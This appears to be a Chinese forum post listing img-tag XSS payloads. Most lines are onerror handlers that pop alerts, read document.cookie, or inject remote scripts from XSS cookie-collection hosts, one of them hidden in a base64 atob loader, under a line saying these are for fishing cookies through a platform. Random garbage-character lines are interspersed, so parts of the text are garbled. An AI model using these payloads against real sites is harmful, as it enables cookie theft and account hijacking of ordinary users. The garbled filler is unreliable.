img标签的常用几种测试手段

admin

<img src='non-exist.jpg'onerror="alert('xss')">
1 T! r8 O1 y1 Y: K' y, A1 j$ e<img src=# onerror=alert(123)>
<img src=# onerror=alert(document.cookie)>
$ Y" L0 ]$ _5 ^$ E2 }( E下面是利用平台钓cookie的
<img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>
2 k9 c  }7 `1 K6 A) _2 I) }6 a* _

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
7 S) p5 ^5 O+ f- u' N( r+ P+ J“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>
- P* {: B+ d" h. [9 ]' y8 d<img src=1 onerror=jQuery.getScript("//xss.re/974")>
<img src="#">
<img src="#">
: N6 {3 l8 P1 X3 b7 x  V1 `<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>
<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">
1 _- o6 E: T2 q: ^& ]: f& v) e<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>
+ s; X2 c9 c$ c! ]4 P<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>
4 t: _! K# D+ R- w<img src=x width="0" height="0"></img>
<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))>
: g& O' B6 s9 y! n9 L- M<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>
. a% k# q" |  J' \5 `7 h5 h" V